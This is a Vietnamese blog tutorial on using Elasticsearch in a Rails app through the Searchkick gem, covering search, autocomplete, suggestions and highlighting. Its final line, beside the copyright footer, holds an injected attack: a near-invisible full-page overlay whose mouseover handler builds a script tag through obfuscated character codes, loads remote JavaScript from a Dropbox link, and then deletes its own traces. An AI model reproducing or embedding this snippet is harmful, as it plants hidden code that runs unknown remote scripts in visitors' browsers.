SỬ DỤNG ELASTICSEARCH TRONG RAILS VỚI GEM SEARCHKICK
Bài đăng này đã không được cập nhật trong 3 năm
I. Cài đặt Elasticsearch
sudo apt-get update
sudo apt-get install elasticsearch
start và restart lại server ES bằng lệnh
sudo service elasticsearch start
sudo service elasticsearch restart
II. Cài đặt gem searchkick
Thêm searchkick vào gem file
gem “searchkick”
Sau đó chạy:
bundle install
III. Tích hợp Elasticsearch với rails app
Tạo 1 rails app với model Product có trường name: string
rails generate scaffold Product name:string
Thêm module searchkick vào model Product models/product.rb
class Product < ActiveRecord::Base
searchkick
end
Để index dữ liệu của Product lên server ES ta dùng lệnh:
Product.reindex
Gọi hàm search từ controller.
controllers/products_controller.rb
class ProductsController < ApplicationController
def index
if params[:query].present?
@products = Product.search params[:query]
else
@products = Product.all
end
end
end
Thêm form search trong view
views/products/index.html.erb
<div>
<%= form_tag "/products", method: :get, class: "form-inline" do %>
<%= text_field_tag "query", params[:query], class: "form-control" %>
<%= submit_tag "Search" %>
<% end %>
</div>
IV. Thêm tính năng Autocomplete
Thêm autocomplte vào module searchkick trong model Product
class Product < ActiveRecord::Base
searchkick autocomplete: [“name”]
end
Sau khi thêm sẽ reindex model Product
Product.reindex
Thêm function autocomplete vào controller
def autocomplete
render json: Product.search(params[:term], {
fields: ["name"],
limit: 10
}).map(&:name)
end
Sửa file routes config/routes.rb
resources :products do
collection do
get :autocomplete
end
end
thêm tính năng autocomplete vào layout
<%= stylesheet_link_tag "//code.jquery.com/ui/1.11.2/themes/smoothness/jquery-ui.css" %>
<%= javascript_include_tag "//code.jquery.com/ui/1.11.2/jquery-ui.js" %>
Sửa form search
<%= form_tag "/products", method: :get, class: "form-inline" do %>
<%= text_field_tag "query", params[:query], class: "form-control", id: "product_search", autocomplete: "off" %></br>
<%= submit_tag "Search" %>
<% end %>
Thêm javascript gọi autocomple
<script>
$("#product_search").autocomplete({
source: "/products/autocomplete.json",
minLength: 2
});
</script>
V. Thêm tính năng suggestions
Thêm vào module searchkick trong model Product
class Product < ActiveRecord::Base
searchkick suggest: [:name]
end
Sau đó reindex
Product.reindex
Sửa hàm search trong controller
@products = Product.search params[:query], suggest: true
Thêm từ được suggest vào view
<div>
<% if @products.suggestions.present? %>
<%= @products.suggestions %>
<% end %>
</div>
VI. Thêm chức năng Highlight
Thêm vào module searchkick trong model Product
class Product < ActiveRecord::Base
searchkick highlight: [:name]
end
Sau đó reindex lại.
Product.reindex
Sửa hàm search trong controller
@products = Product.search params[:query], fields: [:name], highlight: true
Hiển thị highlight trong view.
<% if @products.try(:with_details).present? %>
<% @products.with_details.each do |product, details| %>
<tr>
<td><%= details[:highlight][:name] %></td>
<td><%= link_to 'Show', product %></td>
<td><%= link_to 'Edit', edit_product_path(product) %></td>
<td><%= link_to 'Destroy', product, method: :delete, data: { confirm: 'Are you sure?' } %></td>
</tr>
<% end %>
<% else %>
<% @products.each do |product| %>
<tr>
<td><%= product.name %></td>
<td><%= link_to 'Show', product %></td>
<td><%= link_to 'Edit', edit_product_path(product) %></td>
<td><%= link_to 'Destroy', product, method: :delete, data: { confirm: 'Are you sure?' } %></td>
</tr>
<% end %>
<% end %>
VII. Tài liệu tham khảo và source code
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">All rights reserved